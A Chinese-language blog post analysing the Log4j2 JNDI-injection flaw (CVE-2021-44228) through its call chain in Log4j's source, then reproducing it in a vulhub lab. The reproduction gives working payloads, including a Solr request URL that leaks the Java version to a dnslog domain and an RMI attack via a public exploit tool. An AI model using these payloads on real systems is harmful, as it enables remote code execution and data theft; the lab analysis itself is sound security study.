Log4j2漏洞原理

前排提醒:本篇文章基于我另外一篇总结的JNDI注入后写的,建议先看该文章进行简单了解JNDI注入:

https://blog.csdn.net/weixin_60521036/article/details/142322372

提前小结说明

Log4j2(CVE-2021-44228)漏洞造成是因为 通过MessagePatternConverter类进入他的format函数入口后需匹配判断是否存在${,若存在进入if后的workingBuilder.append(config.getStrSubstitutor().replace(event, value));,最终走到了lookup函数进行jndi注入。

那么我们待会分析就从MessagePatternConverterformat函数开始剖析源码。

漏洞根因

参考了网上的文章后,总结发现其实只需要理解最关键和知道几个函数调用栈就能够理解log4j漏洞是怎么造成了。

调用链源码分析

1.首先是打点走到MessagePatternConverter的format函数,这里是事故发生地。



2.看黄色框,进入if,log4j2漏洞正式开始



3.注意看这里是匹配 ${

这里真就匹配这两个,不要觉得说不对称为啥不多匹配一个},就是找到你是否用了${}这种格式,用了的话就进到里面做深一步的操作。

(注:这里不会做递归,假如你 ${${}},递归那一步需要继续看我后面的解释)



4.看黄色框,workingBuilder.append(config.getStrSubstitutor().replace(event, value));,这里有两点很重要,getStrSubstitutorreplace

先进行getStrSubstitutor,获取一个StrSubstitutor的对象,接着StrSubstitutor执行replace方法。



5.这里需要跟进replace方法,他会执行substitute方法。substitute函数很重要,需要继续跟进他。



6.进到substitute里面他主要做了以下操作

  • 1.prefixMatcher.isMatch来匹配${
  • 2.suffixMatcher.isMatch来匹配 }

如果说匹配到存在${xxx}这种数据在的话,就进入到递归继续substitute执行,直到不存在${xxx}这种数据为止。(这里就是为了解决${${}}这种嵌套问题),那么这里也就解决了上面说为啥一开始进入format函数那里,只匹配${而不匹配完整的${}的疑惑了,进入到这里面才会继续判断,而且还能帮你解决${${}}这种双重嵌套问题。



7.这个substitute递归完出来后或者说没有继续进到substitute里面的话,下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据。

注意是取出来你${xxx}里面xxx数据,这里还没进行jndi的注入解析,所以不是解析结果而是取出你注入的代码。



8.进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx。这里不是说真的开发者故意写个函数去为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已。这里的函数就不跟进了,了解他就是进行了分割即可,拿到varName与varDefaultValue

注:再提醒一次,当我们传入的是jndi:rmi://xxxx的时候,这里的varName与varDefaultValue 取出就是jndi和后面的rmi://xxxx



9.代码再往下走到会看到String varValue = resolveVariable(event, varName, buf, startPos, endPos); ,这里我们需要跟进resolveVariable才能继续深入看到jndi的执行。



10.到了这里终于看到lookup字眼了。

首先你需要知道:resolver = getVariableResolver() 是获得一个实现StrLookup接口的对象,命名为resolver

其次看到后面return resolver.lookup(event, variableName); 这里就是返回结果,也就是说这里lookup是执行了结果返回了,为了更加有说服力,这里就继续跟进lookup看他是怎么执行的,毕竟这里的jndi注入和之前不同,多了jndi:,而不是传统的直接使用rmi://xxxx

11.这里可以看到通过prefix取出:前的jndi,然后再取出后面的rmi://xxxx

那么也就说这个lookup函数体内部作用是通过:字符分割,然后通过传入jndi四个字符到strlookupmap.get找到jndi访问地址然后截取到后面的rmi用找到的jndi访问地址lookup,那么最后可以看到就是拿到jndi的lookup对象去lookup查询。



到这就分析结束了。

substitute函数体里部分代码如下所示:

(没有第11步的lookup函数体源码,下面是关于substitute的代码)

        while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); // prefixMatcher用来匹配是否前两个字符是${
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker,如果来到这里的话那么就说明了匹配到了${字符
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix,寻找后缀}符号
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
} endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length()); // 递归调用
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos; String varName = varNameExpr;
String varDefaultValue = null; if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
// 如果检测到其中还有:和-的符号,那么会将其进行分隔, :- 面的作为varName,后面的座位DefaultValue
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
} // on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
} // handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName); // resolve the variable
//上面的一系列数据检测都完成了之后接下来就是解析执行这段数据了,这里是通过resolveVariable方法
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// recursive replace
final int varLen = varValue.length();
buf.replace(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
} // remove variable from the cyclic stack
priorVariables.remove(priorVariables.size() - 1);
break;
}
nestedVarCount--;
pos += endMatchLen;
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}

调用链总结

约定:调用链每进一层函数就会加一个回车,我这里没有按照全限定名称来写,为了方便理解,加一个回车表示进入到函数的内部。

大白话总结:

下面是截图的原始数据

调用链
MessagePatternConverter的format函数

workingBuilder.append(config.getStrSubstitutor().replace(event, value));

config.getStrSubstitutor()

config.getStrSubstitutor().replace()

substitute

1.prefixMatcher.isMatch来匹配${
2.suffixMatcher.isMatch来匹配 }

进行一个判断 当上面1 2两点都符合的话, 进入substitute递归调用
这里就是为了解决${${}}这种嵌套问题。

递归完下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据
↓接着走到这段代码-> if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0)
进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx
(这里不是说这么巧为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已)

代码再往下走到->String varValue = resolveVariable(event, varName, buf, startPos, endPos);
进入resolveVariable函数里

resolver = getVariableResolver() 获得一个实现StrLookup接口的对象
后面就return resolver.lookup(event, variableName); 这里就是返回

接着这里继续跟进resolver.lookup的调用的话,这个lookup函数体内部作用是通过:字符分隔
然后通过传入jndi四个字符到strlookupmap.get来找到jndi访问地址然后截取到后面的rmi用jndi访问地址来lookup

漏洞复现

vulhub找到log4j开一个CVE-2021-44228靶场

dns

  • 先用dns协议进行jndi注入看是否存在log4j漏洞

    ${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,自己修改example.com为你自己的dnslog域名

    http://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:java.version}.xxxx.ceye.io}

接着查看我们的dnslog日志,发现确实存在log4j漏洞

rmi

那么现在开始进行rmi或者ldap攻击了

这里就直接使用利用工具:

https://github.com/welk1n/JNDI-Injection-Exploit

开启恶意服务器:

设置好-C执行的命令

(-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)



接着先查看下容器内不存在/tmp/success_hacker文件,因为我们-C写的是创建该文件



接着就可以进行rmi攻击了,复制上面搭建好的rmi服务:rmi://xxxxxxxxx:1099/dge0kr



再次查看就会发现已经创建成功了



PS:如果没有成功的话就多试几个rmi或者ldap服务地址,jdk8还是jdk7都试一下,以前我讲错了以为是1.7和1.8是本地开启工具使用的jdk版本,其实是目标服务器的jdk版本,所以还是那句话,都尝试一下就行,反正我们前面已经用dnslog拖出数据了,证明了是存在漏洞的。


参考文章:

https://www.cnblogs.com/zpchcbd/p/16200105.html

https://xz.aliyun.com/t/11056

Log4j2—漏洞分析(CVE-2021-44228)的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  4. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  5. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  6. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  7. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  8. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

  9. CVE-2015-7547漏洞分析从原因到利用到补丁(非常适合小白)【转】

    本文转载自:http://blog.csdn.net/u012406115/article/details/72232535 一.         漏洞概述 CVE漏洞链接:http://www.cv ...

  10. jackjson学习2+CVE-2019-14379漏洞分析

    最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅 昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分 ...

随机推荐

  1. Django4全栈进阶之路24 项目实战(报修类型表):CKEditor富文本

    CKEditor是一个强大的富文本编辑器,可以用于在网站或应用程序中创建和编辑内容.以下是在安装和使用CKEditor的一般步骤: 安装CKEditor: 下载CKEditor:访问CKEditor官 ...

  2. [oeasy]python0 113_字符编码_VT100控制码_iso_8859_1_拉丁字符_latin

    拉丁字符 回忆上次内容 上次回顾了字型编码的进化过程 7-bit 的 点阵字库 终于让 字母.数字.标点 明确了字型     但是 7-bit 的 ascii中 没有法文字符的位置   ​   添加图 ...

  3. 使用 useLazyAsyncData 提升数据加载体验

    title: 使用 useLazyAsyncData 提升数据加载体验 date: 2024/7/19 updated: 2024/7/19 author: cmdragon excerpt: 摘要: ...

  4. 【Python】Word文档操作

    依赖库下载: pip install python-docx -i https://pypi.tuna.tsinghua.edu.cn/simple/ pip install docx2pdf -i ...

  5. 【Mybatis】06 Session获取 & 配置参数总结

    会话获取 SqlSessionFactory 最佳的获取方式就是使用Mybatis提供的资源类加载配置文件 调用会话工厂建造者实例的建造方法注入读取流 要注意的是建造者生成了了实例就可以不需要了 这里 ...

  6. 【XML】Extensible Markup Language 可扩展标记语言

    Extensible Markup Language 可扩展标记语言[XML] 视频资料参考自:https://www.bilibili.com/video/BV1B441117Lu?p=186 其他 ...

  7. 【C】Re10 共用体、枚举、类型定义

    Union 联合体\共用体 结合体: 每个成员的内存空间都是独立存在的,互不干涉 int 成员.double 成员.char 成员 = 4 + 8 + 1 [13字节大小] 取成员字节占用之和作为这个 ...

  8. 国产AI模型和美国顶级AI模型的距离在哪?—— 算力?算法?数据?

    前段时间去了长春一汽,聊了Reinforcement Learning方面的工作,既是面试,也是谈了谈意向,最后全部OK,本打算是签合同了,结果HR说要求有三年的社保缴纳证明工作经验,最后说可以减到2 ...

  9. 国产计算框架mindspore在gpu环境下1.3.0版本的分布式计算组件安装 ——(openmpi 和 nccl 的安装,配置,示例代码的运行)

    前文已经给出1.3.0gpu版本的编译及安装,本文在此基础上进行分布式组件的安装,前文信息参看: 国产计算框架mindspore在gpu环境下编译分支r1.3,使用suod权限成功编译并安装,成功运行 ...

  10. css手撕奥运五环

    巴黎奥运会正如火如荼地进行,本文来使用 CSS 来画一个奥运五环.奥运五环是相互连接的,因此在视觉上会产生重叠效果,这也是实现五环最有挑战性的部分.接下来,将利用 CSS 的伪元素,巧妙地实现环环相扣 ...